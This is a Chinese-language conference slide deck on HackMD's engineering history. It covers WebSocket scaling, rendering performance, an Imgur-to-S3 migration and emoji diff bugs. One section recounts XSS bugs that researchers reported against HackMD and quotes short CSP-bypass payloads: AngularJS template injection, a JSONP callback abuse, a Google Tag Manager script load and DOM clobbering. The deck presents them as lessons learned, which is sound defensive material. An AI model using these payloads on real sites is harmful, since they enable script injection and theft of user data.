changed 2 years ago
Published Linked with GitHub

HackMD 的前世與今生,以及未來

Build a community with open collaboration

Max Wu @ WebConf Taiwan 2023


Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Max Wu

是個喜歡技術的人,也喜歡玩遊戲!


HackMD

Build a community with open collaboration

開放協作!建立社群!


出沒於各式 Conf

PyCon TW COSCUP MOPCON SITCON HITCON LaravelConf Modern Web DevOpsDay Taipei Agile Summit

WebConf


上面有哪些社群?

Ethereum g0v Rust Lang nf-core ETHTaipei GovComms Wikidata Taiwan OpenStreetMap HackingThursday matplotlib Fedora OpenStack Kubernetes Node.js OCaml OpenStack Nordic RSE Astro

歡迎大家來蓋社群!


一句話說明 HackMD 用來做什麼?

用純文字與他人協作知識的平台

黑客松、社群小聚、遠端會議、實驗研究、開發文件等


網頁上的即時通訊

HackMD 如何讓協作能很即時的收到更新?


方案

  1. polling
  2. long-polling
  3. Server-Sent Events
  4. WebSocket
  5. WebRTC

Note:

polling:前端定時向伺服器發出請求

long-polling:前端發出一個長等待伺服器回應的請求

Server-Sent Events:由伺服器對瀏覽器發送資料

WebSocket:建立即時雙向溝通,基於 TCP

WebRTC:建立即時影像與音訊溝通,大多基於 UDP


WebSocket

最開始的時候就採用 socket.io

  • 常用的廣播方法、狀態事件與 namespace 都有提供
  • 連線先 long-polling,瀏覽器與伺服器都支援 WS 才升級協定
  • 傳遞事件時會預設編碼來節省流量,也可以自訂算法

Note:

socket.io 的編碼,有考慮瀏覽器支援度:
https://socket.io/docs/v4/custom-parser/
如果要傳遞 binary 的資料,可以考慮用 msgpack

transport 可以改成只用 websocket 連線,避免需要設定複雜的 sticky session
https://socket.io/docs/v4/using-multiple-nodes/

要注意 socket.io 的功能版本差異,但是官網文件寫得相當完整,建議閱讀
https://socket.io/docs/v4/how-it-works/#socketio


我們都稱作 MMORPG

筆記 = 房間
筆記內文 = 地圖
使用者 = 玩家
游標位置 = 玩家座標

Note:

立即下載,送火槍兵!


如何讓協作體驗更好?

同時有多人要加入房間

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
需要排隊

一台伺服器能乘載的人數有限

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
分多台協作伺服器

內文或是資料太大包

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
只回傳差異範圍


如何知道使用者是否在線上?

heartbeat

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

每隔幾秒跟伺服器問候一下 (ping/pong)
這樣才能確認正在線上的所有 clients 名單

如果 heartbeat 沒有回應,會視同斷線
因此如果前端太忙無法回應,就會斷線了喔!


架設多台協作節點

當有越多 clients,會消耗越多的記憶體 (線性成長)
因此有大量的使用者時,會需要多台的節點
可以用 Cluster 模式,這樣也能利用到多核心 CPU 的優勢

Note:

Node.js 預設是 single thread

如何架設多台請見:
https://socket.io/docs/v4/using-multiple-nodes/


Sticky Session

每台節點的 context 不同 (例如暫存的筆記內容不同)
當 client 傳遞事件時,需要保持跟其中一台對談
如果每次都送到不同節點,那節點之間就要付出事件傳遞的成本

Note:

除非你可以讓節點的 context 是無狀態 (通常蠻困難的)

如何啟用 Sticky Session 請見:
https://socket.io/docs/v4/using-multiple-nodes/


跨節點傳遞事件

有些狀況需要從讓協作節點間互相傳遞事件
或是讓外部傳遞事件進入

例如:
打 web API,需要讓協作節點同步資料,也向 client 發出事件

這時候可以用 socket.io Adapter,有多種實作方式:
redis, mongodb, postgresql

Note:

socket.io adapter

https://socket.io/docs/v4/adapter/


如何調整效能?

後端的 websocket 有多種實作,可以替換成
eiows, uws, uWebSockets.js, ws


也可以在使用者離線事件中,手動觸發 gc() 清出記憶體

Note:

效能調整請見:

https://socket.io/docs/v4/performance-tuning/
https://socket.io/docs/v4/memory-usage/


怎麼變成 socket.io 推坑大會
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


即時連線效能調好了,那前端呢?

這個水很深

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


欸?我的 websocket 怎麼斷線了!

剛說過,因為有 heartbeat,如果:

  • websocket 事件太密集,CPU 很忙
  • 未知原因 main thread 太忙
  • 使用者看其他分頁,分頁被暫停執行
  • 使用者網路環境不好

以上都會導致 websocket 暫時斷線
自動重新連線的機制,socket.io 有實作


那怎麼辦?

需要減少同時傳入的事件
可以將多個事件累計後變成一個事件發出

需要認知到 websocket 並不能保證使用者隨時都在線上
因此要做好斷線與重連的恢復機制

Note:

詳細請讀:Page Lifecycle API

https://developer.chrome.com/blog/page-lifecycle-api/#developer-recommendations-for-each-state


長文件效能:分區段顯示

筆記內文 = 地圖

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

如果內文很長需要捲動,顯示的效能會嚴重影響閱讀體驗

如果偵測哪些元素是在可見範圍,只針對那塊顯示與渲染?

但檢查哪些元素是可見的,就會需要評估元素的大小與位置
Element.getBoundingClientRect()

這會觸發瀏覽器 layout

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
效能不好

有方法可以讓元素自己告訴我它現在是否可以被看到嗎?

Note:

建議閱讀
https://developer.chrome.com/blog/inside-browser-part3


Intersection Observer API

let options = {
  root: document.querySelector("#scrollArea"),
  rootMargin: "0px",
  threshold: 1.0,
};

let observer = new IntersectionObserver(callback, options);

建立一個 IntersectionObserver 給予可捲動的元素 root
當捲動元素,使內部的元素進入或是離開可見範圍時
會呼叫 callback 事件,參數會提供元素的資訊與交集比例

boundingClientRect, intersectionRatio, intersectionRect, isIntersecting, rootBounds, target, time

Note:

Intersection Observer API
https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API


這樣一來,我們可以完全不用去記錄與計算每個元素的位置
處於觀察者的角色,等待元素交集時的事件發生

isIntersectingtrue 時,就標示這個元素可見
或是設定將不可見的元素給予 visibility: hidden;

渲染時可以只針對可見元素處理做後處理
(例如:顯示數學公式)

效能好到不行

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

但別忘記 XSS!顯示前要先過濾 (會影響效能)

Note:

延伸閱讀 MutationObserver
https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver

如果有 DOM 要做部分更新,可以考慮用
https://github.com/patrick-steele-idem/morphdom


那些年遇過的 XSS

就像抓漏,怎樣都有洞

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


什麼是 XSS?

簡單來說,在使用者可以輸入的地方
寫入 <script> 或是各種奇形怪招
讓網頁執行的時候,組成非預期的程式碼
把使用者的資料傳出去,或是做不該做的事
(例如把 Cookies 偷走、偷偷跑挖礦程式)

Note:

https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting


XSS 環境清潔方式

幫 HTML 消毒 Sanitizer

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Before:

abc <script>alert(1)</script> def

After:

abc def

你以為這樣就乾淨了嗎?

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Note:

Chrome 有新實作 HTML Sanitizer API
https://developer.mozilla.org/en-US/docs/Web/API/HTML_Sanitizer_API

我們採用了這套:
https://github.com/leizongmin/js-xss


orange 的 XSS

直接對過濾 XSS 的 function preventXSS 下手

利用 CSP 允許的 https://cdnjs.cloudflare.com/ 載入 AngularJS

再用 template injection 執行不安全的程式碼
{{constructor.constructor('alert(1)')()}}

結論:HTML 註解語法也要處理!

Note:

CSP
https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

完整 writeup 與 payload 請見
https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html


k1tten 的 XSS

  1. 利用 graphviz 圖表語法的語法錯誤提示區塊

$value.parent().append('<div class="alert alert-warning">' + err + '</div>')

err 會直接顯示在網頁上,沒做過濾但是有字數限制

  1. 利用 Google Tag Manager 繞過 CSP 載入不安全的程式碼
```graphviz
graph<<script src="https://www.google-analytics.com/gtm/js?id=GTM-P49RD4V">

結論:錯誤訊息也要過濾 XSS!

Note:

完整 writeup
https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md


maple3142 的 XSS

HackMD 新增了顯示 figma 的功能,然後就出漏洞了

顯示時會找尋網頁 data-figma-src 的值來組合成 figma 網址
而這段沒過濾!

這次被繞過 CSP 用的是 www.google.com 的 JSONP callback
https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//

怎麼被回報漏洞的速度比出功能的速度還快?!

結論:code review 時也要檢查 XSS!

Note:

JSONP
https://blog.logrocket.com/jsonp-demystified-what-it-is-and-why-it-exists/

完整 writeup
https://blog.maple3142.net/2022/08/03/hackmd-xss


splitline 的 XSS

利用嵌入 vimeo 影片的語法,顯示時會呼叫 vimeo 的 JSONP //vimeo.com/api/v2/video/346762373.json?callback=alert#.json?callback=random

幸好 vimeo 會過濾 callback 的參數
callback 時會把不安全的指令過濾

以為就這樣嗎?但漏洞總是挖呀挖挖呀挖


splitline 的 XSS cont.

發現 https://vimeo.com/blog 是用 WordPress 架設的
整個網站找啊找找到一程式碼,可以非同步載入 script

s.src = _zxcvbnSettings.src;

這時候,使出 DOM clobbering,控制 src 的值放入 payload:

<img src="https://host/xss.js" id="_zxcvbnSettings">

結論:嚴格過濾影片網址 videoid

Note:

完整 writeup & payload
https://blog.splitline.tw/hackmd-xss


CSP 又被繞過了外站的程式被利用成本站的漏洞

就算有 CSP, X-XSS-Protection, Sanitizer 等
也不代表就沒有 XSS 漏洞,總是有繞過的招數

做新功能時要檢查是否有正確的過濾字串再顯示
HackMD 需要非常注意過濾處理的效能

人生真難

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Note:

X-XSS-Protection
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection


Imgur 圖片大搬家

免費的最貴

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


有一天,收到了這樣的通知

Note:

https://help.imgur.com/hc/en-us/articles/14415587638029/


HackMD 從很早的時候就有整合 Imgur
方便使用者在寫筆記時能直接上傳圖片


這下麻煩了


要寫程式處理所有筆記嗎?
有多少篇筆記裡面有多少個 imgur 圖片網址呢?

127 萬篇筆記中有 900 萬張圖片!


也太多圖片要處理了!

  1. 要先從筆記拿出裡面的 imgur 網址
  2. 建立筆記與網址的關聯
  3. 把圖片備份後上傳到 S3
  4. 將上傳後的網址紀錄回 DB

要如何快還要更快呢?


SQL comes to Rescue!

直接用 SQL 跑 regex 將筆記中的網址插入 table

regexp_matches(content, E'(https://i\\.imgur\\.com/([^\\s)\\n"\\/\\]\\?][a-zA-Z0-9]+\\.[a-zA-Z0-9]+))', 'g') AS urls


轉移圖片到 S3

有這麼多圖片網址,要怎麼樣在一週內全部轉移?

AWS Lambda 平行跑起來!

最多時有 15 個工作平行在跑,每秒可以轉移 50~100 張圖片


最後統計一共轉移了 1.9TB 的資料

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


未來所有使用者上傳圖片都使用 HackMD 的專屬圖床
避免這種事情再次發生,一勞永逸!

Note:

雖然外部服務很方便,但是當服務用量成長之後,很容易成為絆腳石
付錢或是自行架設都是解方


比較字串中遇到的 Emoji 問題

裂開了就沒辦法顯示!

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


各位知道 emoji 可能是用多個 Unicode 表示嗎?

👋➕🏻🟰👋🏻
Emoji Modifier Sequences

Note:

https://css-tricks.com/changing-emoji-skin-tones-programmatically/


更神奇的是!


怎麼會有兩個 Emoji 的 UTF-16 編碼相同?

Note:

試試看:

`😃`.charAt()
`😄`.charAt()

同一個 Emoji 編碼怎麼又不同?

🤯🤯🤯

Note:

試試看:

`😄`.codePointAt()

Unicode 是個 21 位元的標準
JavaScript 採用的是 UTF-16,最多可以表示 65,535 個字元


有些 Emoji 編碼索引超過 65,535,就會用兩個 Unicode 組成
一個高位字元 (high surrogate) 與一個低位字元 (low surrogate) 組成一對 (surrogate pair) 來表示

Note:

參考資料:
http://russellcottrell.com/greek/utilities/SurrogatePairCalculator.htm

https://evanhahn.com/utf-21/

https://docs.oracle.com/cd/E19683-01/816-3982/6ma7og00a/index.html


相信大家用過 git 可能看過這個:

@@ -1 +1 @@
-a
+b

GNU diff Unified Format

HackMD 會自動幫筆記產生版本紀錄
每個版本紀錄會計算出差異範圍
diff-match-patch


diff-match-patch 是什麼?

Diff: 比較字串差異
Match: 找出相近字串
Patch: 套用字串差異

HackMD 採用這套比對文字差異

Note:

diff-match-patch
https://github.com/google/diff-match-patch


如果 diff 兩個 emoji
有可能把 emoji 切成兩個 Unicode 來比較

Error: invalid input syntax for type json
DETAIL: Unicode low surrogate must follow a high surrogate

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
然後資料庫就爆炸了
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


前方有坑!!!


diff 可能會產出 lone surrogates 導致無法顯示

Note:

https://github.com/google/diff-match-patch/issues/59

坑點 1: patch_toText
坑點 2: diff_main

官方 demo 可以重現
https://neil.fraser.name/software/diff_match_patch/demos/diff.html


補坑選項


Google 萬年不 merge PR

Note:

https://github.com/google/diff-match-patch/pull/69
https://github.com/google/diff-match-patch/pull/13
https://github.com/google/diff-match-patch/pull/80


After 補坑


可以正常的 diff 出 emoji 的變更了!!

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Note:

我們採用了這個 PR
https://github.com/google/diff-match-patch/pull/80

似乎 Simplenote 也用這個修正,沒出過什麼問題


HackMD 2.0


知識的三個層次

自己

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

自己與未來的他人

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
有限的團體

與不特定對象連結

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
公眾

Note:

各位做筆記時,是為了自己還是誰呢?


全新設計的編輯器

Light/Dark mode

支援 Grammarly、手機版體驗提升

編輯與顯示效能大提升


用協作打造新型態知識網路

社群、留言討論、探索知識

串連世界上的節點!


現在立即體驗


https://hackmd.io

設定

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Preview features


Thanks for listening!


https://hackmd.io/@MaxWu/hackmd-webconf-2023

本簡報使用 HackMD 製作與發佈

Select a repo